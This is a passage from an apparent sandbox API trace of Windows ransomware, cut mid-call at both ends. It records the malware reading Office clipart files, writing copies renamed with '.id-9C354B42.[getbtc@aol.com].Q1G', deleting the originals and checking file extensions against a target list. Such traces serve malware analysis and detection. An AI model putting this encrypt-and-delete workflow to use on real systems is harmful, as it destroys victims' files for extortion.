dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0243.454] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.454] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0243.454] GetLastError () returned 0x0 [0243.454] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x32b6, lpOverlapped=0x0) returned 1 [0243.464] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0243.465] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.465] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.465] SetEndOfFile (hFile=0x39c) returned 1 [0243.510] CloseHandle (hObject=0x39c) returned 1 [0243.511] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.511] SetEndOfFile (hFile=0x3b0) returned 1 [0243.571] CloseHandle (hObject=0x3b0) returned 1 [0243.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0243.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.572] lstrlenW (lpString=".doc") returned 4 [0243.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.572] lstrlenW (lpString=".docx") returned 5 [0243.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.572] lstrlenW (lpString=".pdf") returned 4 [0243.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.572] lstrlenW (lpString=".xls") returned 4 [0243.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.572] lstrlenW (lpString=".xlsx") returned 5 [0243.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.572] lstrlenW (lpString=".ppt") returned 4 [0243.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.572] lstrlenW (lpString=".zip") returned 4 [0243.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.572] lstrlenW (lpString=".rar") returned 4 [0243.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.572] lstrlenW (lpString=".bz2") returned 4 [0243.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.572] lstrlenW (lpString=".7z") returned 3 [0243.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.573] lstrlenW (lpString=".dbf") returned 4 [0243.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.573] lstrlenW (lpString=".1cd") returned 4 [0243.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.573] lstrlenW (lpString=".jpg") returned 4 [0243.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.573] lstrlenW (lpString=".doc") returned 4 [0243.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.573] lstrlenW (lpString=".docx") returned 5 [0243.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.573] lstrlenW (lpString=".pdf") returned 4 [0243.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.573] lstrlenW (lpString=".xls") returned 4 [0243.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.573] lstrlenW (lpString=".xlsx") returned 5 [0243.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.573] lstrlenW (lpString=".ppt") returned 4 [0243.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.573] lstrlenW (lpString=".zip") returned 4 [0243.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.573] lstrlenW (lpString=".rar") returned 4 [0243.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.573] lstrlenW (lpString=".bz2") returned 4 [0243.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.573] lstrlenW (lpString=".7z") returned 3 [0243.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.574] lstrlenW (lpString=".dbf") returned 4 [0243.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.574] lstrlenW (lpString=".1cd") returned 4 [0243.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0243.574] lstrlenW (lpString=".jpg") returned 4 [0243.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.574] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.574] lstrlenW (lpString="BL00152_.WMF") returned 12 [0243.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0243.574] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1516) returned 1 [0243.574] CloseHandle (hObject=0x3b0) returned 1 [0243.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0243.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0243.575] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.575] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0243.575] GetLastError () returned 0x0 [0243.576] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x5ec, lpOverlapped=0x0) returned 1 [0243.587] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0243.588] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.588] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.588] SetEndOfFile (hFile=0x39c) returned 1 [0243.588] CloseHandle (hObject=0x39c) returned 1 [0243.588] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.588] SetEndOfFile (hFile=0x3b0) returned 1 [0243.593] CloseHandle (hObject=0x3b0) returned 1 [0243.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0243.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.594] lstrlenW (lpString=".doc") returned 4 [0243.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.594] lstrlenW (lpString=".docx") returned 5 [0243.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.594] lstrlenW (lpString=".pdf") returned 4 [0243.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.594] lstrlenW (lpString=".xls") returned 4 [0243.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.594] lstrlenW (lpString=".xlsx") returned 5 [0243.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.594] lstrlenW (lpString=".ppt") returned 4 [0243.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.594] lstrlenW (lpString=".zip") returned 4 [0243.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.594] lstrlenW (lpString=".rar") returned 4 [0243.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.594] lstrlenW (lpString=".bz2") returned 4 [0243.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.594] lstrlenW (lpString=".7z") returned 3 [0243.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.595] lstrlenW (lpString=".dbf") returned 4 [0243.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.595] lstrlenW (lpString=".1cd") returned 4 [0243.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.595] lstrlenW (lpString=".jpg") returned 4 [0243.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.595] lstrlenW (lpString=".doc") returned 4 [0243.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.595] lstrlenW (lpString=".docx") returned 5 [0243.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.595] lstrlenW (lpString=".pdf") returned 4 [0243.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.595] lstrlenW (lpString=".xls") returned 4 [0243.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.595] lstrlenW (lpString=".xlsx") returned 5 [0243.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.595] lstrlenW (lpString=".ppt") returned 4 [0243.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.595] lstrlenW (lpString=".zip") returned 4 [0243.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.595] lstrlenW (lpString=".rar") returned 4 [0243.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.595] lstrlenW (lpString=".bz2") returned 4 [0243.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.596] lstrlenW (lpString=".7z") returned 3 [0243.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.596] lstrlenW (lpString=".dbf") returned 4 [0243.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.596] lstrlenW (lpString=".1cd") returned 4 [0243.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0243.596] lstrlenW (lpString=".jpg") returned 4 [0243.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.596] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.596] lstrlenW (lpString="BL00195_.WMF") returned 12 [0243.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0243.597] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=8070) returned 1 [0243.597] CloseHandle (hObject=0x3b0) returned 1 [0243.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0243.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0243.597] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.597] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0243.598] GetLastError () returned 0x0 [0243.598] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1f86, lpOverlapped=0x0) returned 1 [0243.600] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0243.601] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.601] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.601] SetEndOfFile (hFile=0x39c) returned 1 [0243.601] CloseHandle (hObject=0x39c) returned 1 [0243.601] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.601] SetEndOfFile (hFile=0x3b0) returned 1 [0243.603] CloseHandle (hObject=0x3b0) returned 1 [0243.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0243.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.604] lstrlenW (lpString=".doc") returned 4 [0243.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.604] lstrlenW (lpString=".docx") returned 5 [0243.604] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.604] lstrlenW (lpString=".pdf") returned 4 [0243.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.604] lstrlenW (lpString=".xls") returned 4 [0243.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.604] lstrlenW (lpString=".xlsx") returned 5 [0243.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.604] lstrlenW (lpString=".ppt") returned 4 [0243.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.604] lstrlenW (lpString=".zip") returned 4 [0243.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.604] lstrlenW (lpString=".rar") returned 4 [0243.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.604] lstrlenW (lpString=".bz2") returned 4 [0243.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.605] lstrlenW (lpString=".7z") returned 3 [0243.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.605] lstrlenW (lpString=".dbf") returned 4 [0243.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.605] lstrlenW (lpString=".1cd") returned 4 [0243.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.605] lstrlenW (lpString=".jpg") returned 4 [0243.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.605] lstrlenW (lpString=".doc") returned 4 [0243.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.605] lstrlenW (lpString=".docx") returned 5 [0243.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.605] lstrlenW (lpString=".pdf") returned 4 [0243.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.605] lstrlenW (lpString=".xls") returned 4 [0243.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.605] lstrlenW (lpString=".xlsx") returned 5 [0243.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.605] lstrlenW (lpString=".ppt") returned 4 [0243.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.605] lstrlenW (lpString=".zip") returned 4 [0243.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.605] lstrlenW (lpString=".rar") returned 4 [0243.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.606] lstrlenW (lpString=".bz2") returned 4 [0243.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.606] lstrlenW (lpString=".7z") returned 3 [0243.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.606] lstrlenW (lpString=".dbf") returned 4 [0243.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.606] lstrlenW (lpString=".1cd") returned 4 [0243.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0243.606] lstrlenW (lpString=".jpg") returned 4 [0243.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.606] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.606] lstrlenW (lpString="BL00234_.WMF") returned 12 [0243.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0243.606] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=9304) returned 1 [0243.606] CloseHandle (hObject=0x3b0) returned 1 [0243.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0243.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0243.607] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.607] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 